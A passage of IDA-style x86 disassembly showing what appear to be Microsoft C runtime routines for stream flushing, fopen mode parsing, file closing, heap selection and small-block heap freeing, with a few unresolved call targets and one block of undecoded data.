		mov	esi, [esp+0Ch+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5

loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_433C70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------

loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_433C70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------

loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4CEDE0
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714

loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730

loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 26319EBh
		nop
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 265031Fh
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------

loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp

loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------

loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh

loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4CECC0, esi
		jle	short loc_41A893

loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------

loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax

loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_41A846

loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi

loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_4363A8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------

loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_4363C8
		jnz	short loc_41A92B
		push	1
		pop	eax

loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_4CDB78
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_4CDA0C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4CDA0Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------

loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx

loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4CDB80
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------

loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------

loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h

loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2

loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx

loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97

loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD

loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------

loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4CDB78
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_4CECC0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_4CDCB0
		mov	edi, ebx

loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------

loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_4CDCB0
		mov	[edi+ecx], eax
		mov	eax, dword_4CDCB0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi

loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CDA18
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2720B21h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2791295h
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------

loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2830000h
		nop
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21

loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al

loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E

loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------

loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77

loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al

loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64

loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx

loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3

loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------

loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx

loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5

loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1

loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 0A0E89050h
		dd 85024254h, 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh
		dd 4CF028A3h, 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h
		dd 0B5EE818h, 0C0850000h, 35FF0F75h, 4CF024h, 4252C7E8h
		dd 0C0339002h, 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh
		dd 0E890004Ch, 22F52ACh, 1CA3C085h, 75004CF0h, 4C8BC301h
		dd 25830424h, 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h
		dd 4CF0200Dh, 805C700h,	10004CF0h, 58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CF018
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4CF01C
		lea	ecx, [eax+ecx*4]

loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------

loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx

loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------

loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx

loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi

